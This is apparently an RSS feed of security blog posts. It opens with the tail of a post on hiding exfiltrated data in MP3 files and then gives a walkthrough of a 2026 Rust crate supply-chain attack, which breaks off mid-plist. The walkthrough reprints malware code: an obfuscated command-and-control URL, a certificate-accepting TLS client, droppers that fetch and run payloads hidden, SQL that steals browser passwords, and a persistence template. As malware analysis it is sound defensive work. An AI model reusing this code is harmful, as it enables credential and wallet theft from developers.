bits</pre><p><strong>Why this is stealthy.</strong> The embedded signal is spread across the entire frequency spectrum at very low amplitude, appearing as random background noise. Unlike LSB modification, the change is distributed evenly across all bits of all samples. Without the seed, an attacker cannot even extract the data, let alone detect it.</p><p><strong>Capacity.</strong> 20 to 200 bits per second of audio, depending on the spread factor (higher spread factor = more robust but lower data rate).</p><p><strong>GitHub reference.</strong></p><ul><li>AS4PGC (includes spread spectrum variant for compressed audio): <a href="https://github.com/ClarkFieseln/AS4PGC">https://github.com/ClarkFieseln/AS4PGC</a></li><li>Covert channels and steganography resources: <a href="https://github.com/mindcrypt/covertchannels-steganography">https://github.com/mindcrypt/covertchannels-steganography</a></li></ul><h3>Summary</h3><p>MP3 based data exfiltration exploits the trust that security systems place in media files. The MP3 format is an ideal carrier: ubiquitous, lossy compression with multiple embedding points, large file sizes look normal, and steganography detection is computationally expensive so most DLP systems skip it.</p><p>Attackers can embed stolen data using techniques from simple (ID3 tag stuffing) to sophisticated (QMDCT LSB, Huffman pair substitution, spread spectrum), using publicly available tools with GitHub repositories (MP3Stego, AudioStego, HiddenWave, AS4PGC).</p><h3>References</h3><ul><li>Fabien Petitcolas, MP3Stego, <a href="https://www.petitcolas.net/steganography/mp3stego/">https://www.petitcolas.net/steganography/mp3stego/</a> , 1998. Source: <a href="https://github.com/fabienpe/MP3Stego">https://github.com/fabienpe/MP3Stego</a></li><li>ACM, MP3 files as a steganography medium, <a href="https://dl.acm.org/doi/10.1145/2512209.2512215">https://dl.acm.org/doi/10.1145/2512209.2512215</a> , 2014. Four techniques: header bits, side info, empty frames, ID3 tags.</li><li>ScienceDirect, Advanced audio coding steganography algorithm with distortion minimization, 2023. QMDCT with Huffman sign bits.</li><li>ScienceDirect, Steganography for MP3 audio by exploiting the rule of window switching, 2012. Window switching based embedding.</li><li>ResearchGate, Applying Steganography in MP3 Files using Spread Spectrum Technique, 2024. Spread spectrum in MP3.</li><li>ScienceDirect, MP3 audio steganalysis, 2012. Markov chain and recommender system detection.</li><li>JISE, Blind Steganalysis of Mp3stego, 2014. Statistical detection of MP3Stego.</li><li>Research Square, A Comprehensive Review of MP3 Steganalysis Techniques, 2024. ML based detection survey.</li><li>Daniel Cardenas, AudioStego, <a href="https://github.com/danielcardeenas/AudioStego">https://github.com/danielcardeenas/AudioStego</a> . Blog: <a href="https://danielcardeenas.github.io/audiostego.html">https://danielcardeenas.github.io/audiostego.html</a></li><li>thehackersbrain, HiddenWave, <a href="https://github.com/thehackersbrain/hiddenwave">https://github.com/thehackersbrain/hiddenwave</a> . C++ audio steganography.</li><li>thehackersbrain, HiddenWave-RS, <a href="https://github.com/thehackersbrain/hiddenwave-rs">https://github.com/thehackersbrain/hiddenwave-rs</a> . Rust audio steganography.</li><li>Clark Fieseln, AS4PGC, <a href="https://github.com/ClarkFieseln/AS4PGC">https://github.com/ClarkFieseln/AS4PGC</a> . PyPI: <a href="https://pypi.org/project/as4pgc/">https://pypi.org/project/as4pgc/</a> . Article: <a href="https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4">https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4</a></li><li>JPinSoft, DeepSound, <a href="http://jpinsoft.net/deepsound">http://jpinsoft.net/deepsound</a> . GUI audio steganography for MP3, WAV, FLAC, APE.</li><li>Dominic Breuker, Stego Toolkit, <a href="https://github.com/dominicbreuker/stego-toolkit">https://github.com/dominicbreuker/stego-toolkit</a> . Docker container with preinstalled stego tools.</li><li>Daniel Lerch, Aletheia, <a href="https://github.com/daniellerch/aletheia">https://github.com/daniellerch/aletheia</a> . Open source steganalysis. Paper: JOSS 2024.</li><li>Daniel Lerch, Steganography for Python Programmers, <a href="https://daniellerch.me/stego/books/stegopython/audio-en/">https://daniellerch.me/stego/books/stegopython/audio-en/</a> . LSB matching and matrix embedding code.</li><li>mindcrypt, Covert channels and steganography resources, <a href="https://github.com/mindcrypt/covertchannels-steganography">https://github.com/mindcrypt/covertchannels-steganography</a></li><li>Kaspersky Securelist, Steganography in contemporary cyberattacks, <a href="https://securelist.com/steganography-in-contemporary-cyberattacks/79276/">https://securelist.com/steganography-in-contemporary-cyberattacks/79276/</a> , 2017.</li><li>Kaspersky Securelist, ScarCruft surveilling North Korean defectors, <a href="https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/">https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/</a> .</li><li>The Hacker News, ScarCruft Uses Zoho WorkDrive and USB Malware to Breach Air-Gapped Systems, February 2026.</li><li>Symantec, Witchetty: Group Uses Updated Toolset in Attacks on Governments, 2022. Backdoor.Stegmap bitmap steganography.</li><li>Cylance, WAV audio files being used to hide malware, 2019. Crypto miners and Metasploit stagers in WAV files.</li><li>pwn.guide, Audio Steganography: Hiding Malware in WAV Files, <a href="https://pwn.guide/free/cryptography/audio-steganography">https://pwn.guide/free/cryptography/audio-steganography</a> . TeamPCP attack chain with code.</li><li>Trend Micro, Examining the Activities of the Turla APT Group, 2023. ComRAT v4, Crutch backdoor, Kazuar.</li><li>Mordechai Guri, MOSQUITO: Covert Ultrasonic Transmissions Between Two Air-Gapped Computers, arXiv:1803.03422, 2018.</li><li>Mordechai Guri et al., Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Computers, Computers and Security, 2016.</li><li>Mordechai Guri et al., DiskFiltration: Data Exfiltration from Speakerless Air-Gapped Computers via Covert Hard Drive Noise, arXiv:1608.03431, 2016.</li><li>Mordechai Guri, POWER-SUPPLaY: Leaking Data from Air-Gapped Systems by Turning the Power Supplies into Speakers, IEEE TIFS, 2020.</li><li>Mordechai Guri, Air Gap Research Page, <a href="https://www.covertchannels.com/">https://www.covertchannels.com/</a> . Complete index of air gap exfiltration research.</li><li>Canadian Centre for Cyber Security, Defending against data exfiltration threats (ITSM.40.110), <a href="https://www.cyber.gc.ca/en/guidance/defending-against-data-exfiltration-threats-itsm40110">https://www.cyber.gc.ca/en/guidance/defending-against-data-exfiltration-threats-itsm40110</a> .</li><li>Wiz, What is Data Exfiltration? <a href="https://www.wiz.io/academy/detection-and-response/data-exfiltration">https://www.wiz.io/academy/detection-and-response/data-exfiltration</a> .</li></ul><p><strong>MITRE ATT&amp;CK mapping.</strong></p><ul><li>T1041: Exfiltration Over C2 Channel</li><li>T1048: Exfiltration Over Alternative Protocol</li><li>T1567: Exfiltration Over Web Service</li><li>T1020: Automated Exfiltration</li><li>T1001: Data Obfuscation</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=540cc9e22866" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ArrayRef Supply Chain Attack: How a Compromised Rust Crate Delivered Malware at Build Time]]></title>
            <link>https://coffsec.medium.com/arrayref-supply-chain-attack-how-a-compromised-rust-crate-delivered-malware-at-build-time-eb23438b829f?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb23438b829f</guid>
            <category><![CDATA[supply-chain-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 14:51:22 GMT</pubDate>
            <atom:updated>2026-09-01T14:52:43.091Z</atom:updated>
            <content:encoded><![CDATA[<p>A technical walkthrough of the August 20 2026 Rust supply chain attack on the arrayref crate (244 million all time downloads).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wcHnNBwsa9VwwpIuWvYX7g.png" /></figure><h3>What this post is about</h3><p>This is a clear, step by step walkthrough of a real supply chain attack that hit the Rust programming language ecosystem on 20 August 2026. The attack used a popular Rust package called arrayref (downloaded about 244 million times over its lifetime) to quietly install malware on the computers of developers who simply ran cargo build. The malware stole browser passwords, cryptocurrency wallets and to establish long term remote access to those workstations.</p><p>By the end you will know exactly what the attacker did, in what order, and why each step worked.</p><h3>The five Ws</h3><ul><li><strong>Who.</strong> An attacker who controlled the crates.io account named droundy (the real maintainer of arrayref). The same attacker likely also controls the GitHub account github.com/droundy, which went offline at the same time.</li><li><strong>What.</strong> Published malicious versions of three popular Rust crates (arrayref, internment, append-only-vec) plus a typosquat crate (proc-macro1) that carries the actual malware in its build script.</li><li><strong>When.</strong> 20 August 2026, between about 07:15 and 09:25 UTC. Total exposure window was 86 to 107 minutes.</li><li><strong>Where.</strong> The crates.io public package registry. The attacker server was a VPS at IP 23[.]254[.]165[.]112 hosted on Hostwinds.</li><li><strong>Why (attacker motive).</strong> To steal browser credentials and cryptocurrency wallet data from developer workstations, and to establish long term remote access to those workstations for follow on operations.</li></ul><h3>Timeline</h3><ul><li>2026–08–20 07:15:00 UTC: arrayref 0.3.10 published on crates.io by the droundy account (compromised).</li><li>2026–08–20 07:34:07 UTC: internment 0.8.7 published by the same droundy account, also with the malicious proc-macro1 dependency.</li><li>2026–08–20 07:37:49 UTC: append-only-vec 0.1.9 published by droundy, also poisoned.</li><li>2026–08–20 07:15 UTC: Initial report reaches the Rust Security Response Team (sourced by the Nextron Systems research team, who flagged proc-macro1).</li><li>2026–08–20 08:41:40 UTC: arrayref 0.3.10 deleted from crates.io. Online for 86 minutes.</li><li>2026–08–20 09:04:11 UTC: internment 0.8.7 deleted. Online for 90 minutes.</li><li>2026–08–20 09:25:24 UTC: append-only-vec 0.1.9 deleted. Online for 107 minutes.</li><li>2026–08–20 midday UTC: Older arrayref versions (0.3.5 through 0.3.9) that the attacker had yanked are unyanked. The droundy account is locked. The GitHub account github.com/droundy and its repositories go silent and return HTTP 404.</li><li>2026–08–20 about 13:00 UTC: RustSec advisory rustsec/advisory-db#3161 filed.</li></ul><h3>Stage 1: Account compromise</h3><p>To publish a malicious version of arrayref, the attacker first needed control of the arrayref publishing account on crates.io. That account belongs to a developer known as droundy. The attacker somehow obtained the secret publishing token for that account. We do not yet know exactly how, but the most common ways a publishing token gets stolen are: a token leaked in a CI log file, a password reused on a less secure website that was breached, a phishing page that looked like the crates.io login, or a developer workstation that was already infected by an earlier piece of malware that scraped the token from an environment variable.</p><p>A strong hint that the attacker also holds the GitHub credential for the same person: the GitHub account github.com/droundy and all its repositories went offline at the same time and now return 404. If only the crates.io token had been stolen, the GitHub account would likely still be alive.</p><p>crates.io, the Rust package registry, lets a maintainer publish a new version of any crate they own with a single cargo publish call authenticated by a single bearer token. There is no second factor for crate publication: no confirmation email, no multi signature approval, no signed release. This is unlike PyPI, which mandates 2FA for maintainers of high traffic packages. The combination of a single token being enough and no mandatory MFA means whoever holds the token owns the crate.</p><p>The reason arrayref was a high value target: it sits in the dependency graph of tiny-skia, sctk-adwaita, and winit, which places it under most GUI work built on egui, eframe, and iced. Any project that pulls in one of those GUI stacks is one cargo update away from pulling a malicious new release of arrayref.</p><h3>Stage 2: Typosquat creation of proc-macro1</h3><p>The attacker published a new crate named proc-macro1. The name is one character short of the legitimate crate proc-macro2 (written by David Tolnay, whose crates.io account is dtolnay). The attacker account was named dtolney (missing the a). To make the fake crate look real, the attacker copied the entire source tree of the legitimate proc-macro2 and did a global find and replace of proc-macro2 to proc-macro1. They also forged the author metadata in the Cargo.toml to claim the crate was written by David Tolnay:</p><pre># proc-macro1 Cargo.toml (forged metadata)<br>authors = [&quot;David Tolnay &lt;rchaitm@gmail.com&gt;&quot;]<br>repository = &quot;https://github.com/dtolnay/proc-macro1&quot;<br>documentation = &quot;https://docs.rs/proc-macro1/1.0.107&quot;</pre><p>The email rchaitm@gmail.com is not the email of David Tolnay (whose real crates.io email is dtolnay@gmail.com), and the GitHub URL https://github.com/dtolnay/proc-macro1 returns 404 because the real dtolnay owns no such repository.</p><p>Because the copied source code is real proc-macro2, builds that depend on proc-macro1 still compile and pass tests. Only a careful reviewer who notices the missing 2 in the name would catch the substitution.</p><p>The typosquat also adds three build dependencies that the real proc-macro2 does not have:</p><pre># proc-macro1 Cargo.toml build dependencies (suspicious additions)<br>[build-dependencies.base64]<br>version = &quot;0.22&quot;<br>[build-dependencies.rustls]<br>version = &quot;0.23&quot;<br>features = [&quot;ring&quot;, &quot;std&quot;, &quot;tls12&quot;]<br>default-features = false<br>[build-dependencies.ureq]<br>version = &quot;2&quot;<br>features = [&quot;tls&quot;]<br>default-features = false</pre><p>These three crates give the build script: a base64 decoder, a TLS stack (rustls), and an HTTP client (ureq). The real proc-macro2 has no build dependencies at all, because a token parsing library has no reason to make network calls. The triplet of base64 plus rustls plus ureq is a network fetch toolkit, and that is the indicator that should have flagged the typosquat on dependency review.</p><p><strong>Why this works.</strong> Rust developers are conditioned by the crate naming convention of proc-macro2 and similar suffixed names (like tokio1, serde1). The one character difference is easy to miss in a Cargo.toml review. And because proc-macro2 is so deeply embedded in the macro ecosystem, a republished lookalike under a near identical name does not stand out. The attacker kept the real source so the crate remains a working drop in, which means it compiles cleanly and the substitution is invisible to automated tests.</p><h3>Stage 3: Manifest injection and the yank force update trick</h3><p>The attacker modified the Cargo.toml of arrayref 0.3.10 to add a single dependency line. The rest of the Cargo.toml and the entire src/ tree are the legitimate upstream code for arrayref 0.3.9, with no build script and no source changes that reference proc-macro1:</p><pre># arrayref Cargo.toml 0.3.10 (only difference to 0.3.9)<br>[package]<br>name = &quot;arrayref&quot;<br>version = &quot;0.3.10&quot;<br>build = false<br>[dependencies.proc-macro1]<br>version = &quot;1.0.107&quot;</pre><p>The version requirement 1.0.107 is a caret range, which in Cargo semver means &gt;=1.0.107, &lt;2.0.0. With only versions 1.0.106 and 1.0.107 ever published for proc-macro1, Cargo resolves the requirement to the malicious 1.0.107.</p><p>To force Cargo to pick the new version on existing projects, the attacker also yanked every older release of arrayref from 0.3.5 through 0.3.9. Yanking in Cargo does not delete a published crate (the crate remains resolvable by an existing Cargo.lock), but any new cargo update or new project without a Cargo.lock will print a warning:</p><pre>warning: package `arrayref` is yanked in version 0.3.9, consider updating to a version that is not yanked</pre><p>That warning is the nudge that pushes a cargo update from 0.3.9 to 0.3.10, the only non yanked release at that moment. The reporter who filed the RustSec advisory explicitly cited this yank and update warning path as how their own CI pipeline hit the malicious release.</p><p><strong>Why this works.</strong> A single malicious dependency line in Cargo.toml is enough to introduce arbitrary code execution at build time, because Cargo compiles and runs build.rs for every non optional dependency before compiling the dependent crate code itself. The arrayref source never references proc-macro1 in its code, but that does not matter. Cargo resolves and builds the dependency graph from the manifest, then runs build scripts for every dependency, and only then compiles the dependent crate. So the one line injection is the entire compromise surface inside arrayref itself. The yank and force update trick is the same technique used in the June 2026 Mastra npm campaign (yank the older versions, leave one malicious version as the only resolvable one).</p><h3>Stage 4: Build time payload execution in proc-macro1 build.rs</h3><p>The malicious build.rs lives in the proc-macro1 1.0.107 release. Cargo automatically compiles and runs this file before compiling the crate source. The first thing it does is reassemble the attacker server address from base64 fragments, so the raw IP string never appears in the source code as plain text:</p><pre>// proc-macro1-1.0.107/build.rs<br>// SRC decodes to https://23[.]254[.]165[.]112:9089/<br>const SRC_URL_PARTS: &amp;[&amp;str] = &amp;[<br>    &quot;aHR0cHM6Ly8=&quot;,     // https://<br>    &quot;MjMuMjU0Lg==&quot;,     // 23.254.<br>    &quot;MTY1Lg==&quot;,         // 165.<br>    &quot;MTEyOg==&quot;,         // 112:<br>    &quot;OTA4OS8=&quot;,         // 9089/<br>];<br>// END decodes to 23[.]254[.]165[.]112:443<br>const END_URL_PARTS: &amp;[&amp;str] = &amp;[<br>    &quot;MjMuMjU0Lg==&quot;,     // 23.254.<br>    &quot;MTY1Lg==&quot;,         // 165.<br>    &quot;MTEyOg==&quot;,         // 112:<br>    &quot;NDQz&quot;,             // 443<br>];<br>fn src_url() -&gt; String {<br>    SRC_URL_PARTS.iter()<br>        .map(|p| String::from_utf8(base64::decode(p).unwrap()).unwrap())<br>        .collect()<br>}<br>fn end_url() -&gt; String {<br>    END_URL_PARTS.iter()<br>        .map(|p| String::from_utf8(base64::decode(p).unwrap()).unwrap())<br>        .collect()<br>}</pre><p>Each fragment is base64 of a small URL piece. The split defeats naive string scanners that look for an http literal, and even defeats entropy based scanners because each fragment is small and looks like ordinary base64 text. The decoded src_url() is the payload download URL (https://23[.]254[.]165[.]112:9089/), and end_url() is the C2 callback address (23[.]254[.]165[.]112:443) that is passed to the second stage as a command line argument. The build script never opens a connection to end_url() itself: only the second stage program reads that argument and uses it. This is the key split between the two network roles in this attack.</p><p>A second stealth detail from the JFrog research: the malicious build script still emits the legitimate proc-macro2 cfg probes (the cargo:rustc-cfg=... and cargo:warning=... lines that the real proc-macro2 uses to inform the dependent crate about its platform capabilities). The download and execute block is inserted in the middle of those legitimate cfg probes, so the build script output looks identical to a normal proc-macro2 build script when skimmed. A developer watching the cargo build log sees the expected cargo:rustc-cfg=libprobe style lines and does not notice that a 30 line HTTP download block ran between them.</p><p>The TLS HTTP client uses a custom ServerCertVerifier that accepts any certificate, including self signed ones pinned to a raw IP. The relevant struct implements the rustls::client::danger::ServerCertVerifier trait by returning Ok from every method:</p><pre>// proc-macro1-1.0.107/build.rs (TLS verification disabled)<br>struct AcceptAll;<br>impl ServerCertVerifier for AcceptAll {<br>    fn verify_server_cert(<br>        &amp;self,<br>        _end_entity: &amp;CertificateDer,<br>        _intermediates: &amp;[CertificateDer],<br>        _server_name: &amp;ServerName,<br>        _ocsp_response: &amp;[u8],<br>        _now: UnixTime,<br>    ) -&gt; Result&lt;ServerCertResult, Error&gt; {<br>        // Accept every certificate, no signature or chain validation.<br>        Ok(ServerCertResult::Ok)<br>    }<br>    fn verify_tls12_signature(<br>        &amp;self,<br>        _message: &amp;[u8],<br>        _cert: &amp;CertificateDer,<br>        _dss: &amp;dyn DigitallySignedStruct,<br>    ) -&gt; Result&lt;HandshakeSignatureValid, Error&gt; {<br>        Ok(HandshakeSignatureValid::assertion())<br>    }<br>    fn verify_tls13_signature(<br>        &amp;self,<br>        _message: &amp;[u8],<br>        _cert: &amp;CertificateDer,<br>        _dss: &amp;dyn DigitallySignedStruct,<br>    ) -&gt; Result&lt;HandshakeSignatureValid, Error&gt; {<br>        Ok(HandshakeSignatureValid::assertion())<br>    }<br>    fn supported_verify_schemes(&amp;self) -&gt; Vec&lt;SignatureScheme&gt; {<br>        // Allow every scheme so a self signed cert with any sig alg passes.<br>        vec![SignatureScheme::RSA_PSS_SHA256,<br>             SignatureScheme::ECDSA_NISTP256_SHA256,<br>             SignatureScheme::ED25519]<br>    }<br>}</pre><p>The HTTP GET downstream is a ureq GET request that takes about 30 lines of code: configure a rustls::ClientConfig with the AcceptAll verifier, wrap it in a ureq::Agent, get the URL, and read the body bytes. The full body is the second stage executable for the victim operating system and CPU architecture. The attacker publishes four variants on the same server: rust-crate_0.1.0 (Linux x86_64), rust-crate_0.2.0 (Windows x86_64), rust-crate_0.3.0 (macOS x86_64), and rust-crate_0.4.0 (macOS aarch64). The build.rs selects the variant by inspecting std::env::consts::OS and std::env::consts::ARCH at build time.</p><p><strong>Why this works.</strong> Base64 fragmenting defeats shallow static string scans that look for http:// or https:// literals. Accepting any certificate lets the attacker host the payload on a raw IP with a self signed certificate, which is cheaper than registering a domain and leaves no certificate transparency footprint. Using ureq (a small, no async runtime HTTP client) and rustls (a pure Rust TLS stack with no OpenSSL system linkage) makes the build script self contained: it can fetch over HTTPS even on a minimal Cargo build environment with no system OpenSSL installed.</p><p>Crucially, the build script runs with the full privileges of the developer who invoked cargo build. On a developer workstation, that is the same privilege level the developer has over their source tree, their SSH keys, their browser credential database, and their cloud CLI tokens. There is no sandbox around Cargo build script execution in the default Cargo workflow.</p><h3>Stage 5: Dropper platform branching and detached execution</h3><p>After the build script downloads the second program, its dropper behavior splits on the host operating system.</p><p>On Unix (Linux and macOS), the build script writes the downloaded bytes to a hardcoded path, makes the file executable, and starts the process detached with the second URL as an argument:</p><pre>// proc-macro1-1.0.107/build.rs Unix dropper<br>fn run_unix_payload(bytes: Vec&lt;u8&gt;) {<br>    let path = PathBuf::from(&quot;/tmp/rust-setup&quot;);<br>    std::fs::write(&amp;path, &amp;bytes).expect(&quot;failed to write payload&quot;);<br>    // chmod +x /tmp/rust-setup<br>    Command::new(&quot;chmod&quot;)<br>        .args([&quot;+x&quot;, path.to_str().unwrap()])<br>        .status()<br>        .unwrap();<br>    // Execute detached, hand it the C2 address (23[.]254[.]165[.]112:443)<br>    Command::new(&amp;path)<br>        .arg(end_url())<br>        .stdin(Stdio::null())<br>        .stdout(Stdio::null())<br>        .stderr(Stdio::null())<br>        .spawn()<br>        .expect(&quot;failed to spawn payload&quot;);<br>}</pre><p>On Windows, the build script writes a PowerShell script file and a VBScript launcher to the user %TEMP% directory. The PowerShell script holds the second stage payload. The VBScript launcher invokes the PowerShell script via the WScript.Shell COM object in hidden window mode, with execution policy bypassed so the system PowerShell execution policy does not block the script. The build script uses cscript.exe to spawn the VBScript launcher, again with all standard streams redirected to null. Two distinct escapes happen here:</p><ol><li><strong>Job object escape.</strong> Cargo places every spawned child process inside a Windows job object that closes when the build finishes. When the job object closes, all processes inside it are killed. The inserted cscript.exe process is killed, but the PowerShell process it spawned via WScript.Shell.Run is not a direct child of the cargo process tree (it is created via COM), so it does not inherit the job object. The malicious PowerShell process keeps running after the build finishes and even after the developer closes the terminal that ran cargo build.</li><li><strong>Window visibility escape.</strong> The WScript.Shell.Run call passes the intWindowStyle = 0 argument (hidden window) plus bWaitOnReturn = False (asynchronous). The hidden window plus asynchronous launch means the developer sees no visible PowerShell window open during the cargo build, which would otherwise be an obvious signal of a credentials attack happening in real time. The CREATE_NO_WINDOW flag (per the JFrog analysis) is also used to suppress the console host window.</li></ol><pre>// proc-macro1-1.0.107/build.rs Windows dropper (paraphrased)<br>fn run_windows_payload(bytes: Vec&lt;u8&gt;) {<br>    let temp = std::env::temp_dir();<br>    let ps1  = temp.join(&quot;rust-setup.ps1&quot;);<br>    let vbs  = temp.join(&quot;rust-setup-launch.vbs&quot;);<br>    std::fs::write(&amp;ps1, &amp;bytes).expect(&quot;write payload ps1&quot;);<br>    // VBScript body: launch the PS1 hidden via WScript.Shell.Run<br>    let vbs_body = format!(<br>        &quot;Set s = CreateObject(\&quot;WScript.Shell\&quot;)\n\<br>         s.Run \&quot;powershell -WindowStyle Hidden -File {}\&quot;, 0, False\n&quot;,<br>        ps1.to_str().unwrap()<br>    );<br>    std::fs::write(&amp;vbs, vbs_body).expect(&quot;write vbs launcher&quot;);<br>    Command::new(&quot;cscript&quot;)<br>        .arg(vbs.to_str().unwrap())<br>        .stdin(Stdio::null())<br>        .stdout(Stdio::null())<br>        .stderr(Stdio::null())<br>        .spawn()<br>        .expect(&quot;failed to spawn payload&quot;);<br>}</pre><p><strong>Why this works.</strong> Detached execution with all three standard streams redirected to null means the spawned malicious process does not block the build script spawn call. The build script returns control to Cargo, Cargo proceeds to compile arrayref and the dependent project, and the build completes normally. The malicious process is now running on the developer workstation with no console output visible to the developer. The Windows VBScript and WScript.Shell.Run pattern adds two escapes: it bypasses the Cargo job object kill on build exit, and the hidden window flag suppresses the visible PowerShell window that would otherwise pop up during cargo build.</p><h3>Stage 6: The second stage infostealer binary</h3><p>The second stage program (/tmp/rust-setup on Unix, the PowerShell script on Windows) is itself a Rust compiled executable. Two of the four platform variants were recovered by researchers and dissected in detail: rust-crate_0.1.0 (Linux x86_64) and rust-crate_0.4.0 (macOS aarch64). The Windows PowerShell sample received was a zero byte file with no analyzable content.</p><p>The program reads its own command line arguments to recover the C2 host. On macOS disassembly, this is done via the _NSGetArgc and _NSGetArgv system functions, which return the count and pointer array of argv. The host string is taken from argv[1] (the value the build script passed as end_url(), which is 23[.]254[.]165[.]112:443) and fed into a URL string format routine that produces the final C2 endpoint https://{host}/49890878. The path literal /49890878 is an unusual identifier: it was previously observed as the C2 endpoint in the June 2026 Axios npm and the Mastra npm supply chain attacks, which is the strongest attribution hint that this campaign is the same threat actor moving into Rust.</p><p>The infostealer module targets Chromium based browsers. On the macOS build, the analyzed sample references the profile directory paths for Google Chrome, Brave, and Microsoft Edge (typically ~/Library/Application Support/Google/Chrome, ~/Library/Application Support/BraveSoftware/Brave-Browser, and ~/Library/Application Support/Microsoft Edge). For each profile, the stealer opens the SQLite Login Data database and runs two SQL queries that recover saved credentials:</p><pre>-- Stealer SQL against the Chromium Login Data SQLite database<br>-- (database file path: &lt;profile_dir&gt;/Default/Login Data)<br>SELECT DISTINCT origin_url<br>FROM logins<br>WHERE origin_url IS NOT NULL<br>  AND length(origin_url) &gt; 0<br>  AND is_blacklisted = 0;<br>SELECT DISTINCT username_value, password_value<br>FROM logins<br>WHERE username_value IS NOT NULL<br>  AND length(username_value) &gt; 0;</pre><p>The password_value column in Chromium is stored as a blob encrypted with the operating system keychain (Keychain on macOS, DPAPI on Windows, libsecret or kwallet on Linux). The stealer performs the corresponding decryption step using the OS native secret service (the Security.framework API on macOS, the CryptUnprotectData API on Windows) before exfiltrating the pair.</p><p>The stealer also references the browser extension storage directory Local Extension Settings, which is where many browser based cryptocurrency wallets (MetaMask, Phantom, Rabby, and other EVM chain wallets) write their encrypted wallet vault files. Pulling the contents of Local Extension Settings is sufficient to recover those wallet vaults on a workstation whose user is currently logged in to the wallet.</p><p><strong>Why this works.</strong> Chromium stores credentials in a single SQLite file with a known schema, which has been documented in the Chromium source for over a decade. The schema and the encryption boundary (SQLite file with DPAPI or Keychain enveloped password blobs) are stable across Chromium minor releases, so the same extractor code works against Chrome, Brave, Edge, Vivaldi, and Opera without modification. Browser extension wallet vaults are an extremely high value target because a single MetaMask seed phrase equals direct access to on chain assets, with no further phishing required. Targeting Web3 wallet vaults alongside credential databases is the same trade craft observed in the Axios npm campaign.</p><h3>Stage 7: Persistence on macOS via LaunchAgent</h3><p>On macOS, the second stage program carries a LaunchAgent property list template embedded as a string constant. A LaunchAgent is a macOS mechanism that lets a program start automatically when the user logs in. The template contains placeholder fields that are filled in at runtime. The program writes the completed plist to a path under ~/Library/LaunchAgents/ (the user level LaunchAgents directory), and launchd immediately loads the agent on the next user login because of the RunAtLoad boolean key set to true.</p><pre>&lt;!-- Embedded LaunchAgent plist template, recovered from rust-crate_0.4.0 --&gt;<br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot;<br>          &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;<br>&lt;plist version=&quot;1.0&quot;&gt;<br>&lt;dict&gt;<br>    &lt;key&gt;Label&lt;/key&gt;<br>    &lt;string&gt;{LABEL_PLACEHOLDER}&lt;/string&gt;<br>    &lt;key&gt;ProgramArguments&lt;/key&gt;<br>    &lt;array&gt;<br>        &lt;string&gt;/bin/zsh&lt;/string&gt;<br>        &lt;string&gt;-c&lt;/string&gt;<br>        &lt;string&gt;{COMMAND_PLACEHOLDER}&lt;/string&gt;<br>    &lt;/array&gt;<br>    &lt;key&gt;RunAtLoad&lt;/key&gt;<br>    